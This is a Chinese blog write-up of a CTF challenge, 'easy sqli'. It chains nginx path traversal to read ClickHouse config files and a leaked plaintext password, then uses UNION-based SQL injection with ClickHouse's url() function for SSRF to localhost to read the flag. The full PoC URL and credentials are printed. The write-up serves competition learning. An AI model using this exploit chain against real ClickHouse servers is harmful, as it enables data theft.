第三届字节跳动安全范儿高校挑战赛


参与者:yq1ng

差点就爆0了,就出了一个sql,rank刚好卡到二位数哈哈哈

image-20211017224631400

[TOC]

easy sqli

clickhouse

官方文档ClickHouse 的系统表

sqlmap可以正常跑一开始很震惊,但是后面判不出来数据库突然又释然了?哈哈哈。加个引号报错了堆栈,看到使用的是 clickhouse 数据库,官方文档:https://clickhouse.com/

id != 1的时候会给一个图片链接:http://39.105.175.150:30001/files/test.jpg,这个一开始没想到用处,但是后面看返回server发现是nginx/1.21.1,目录穿越会不会有哈哈哈,试了试是有的:`http://39.105.175.150:30001/files../`,然后去看 clickhouse 默认的配置文件:etc/clickhouse-server/users.xml只有 default 用户,看看配置 etc/clickhouse-server/config.xml,找到这个

image-20211017225640897

下载 sql

image-20211017225726217

ATTACH USER user_01 IDENTIFIED WITH plaintext_password BY 'e3b0c44298fc1c149afb';
ATTACH GRANT SELECT ON ctf.* TO user_01;

得到可以读flag的用户

读取hint:http://39.105.175.150:30001/?id=0 UNION ALL SELECT id from ctf.hint,提示you_dont_have_permissions_to_read_flag。(数据库名和表名是读系统表读出来的,连接在上面)

然后就是硬啃官方文档,找可利用的函数,因为 user_01 是不能远程登陆的,default虽然可以登录但是密码不知道。

在文档中找到 https://clickhouse.com/docs/zh/sql-reference/table-functions/url/https://clickhouse.com/docs/zh/interfaces/http/,构造ssrf从本地进行读取flag,poc如下

http://39.105.175.150:30001/?id=1 union all select * from url('http%3A%2F%2Flocalhost%3A8123%2F%3Fuser%3Duser_01%26password%3De3b0c44298fc1c149afb%26query%3Dselect%2Bflag%2Bfrom%2Bctf.flag'%2C%20CSV%2C%20'column1%20String')

image-20211017230713861


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录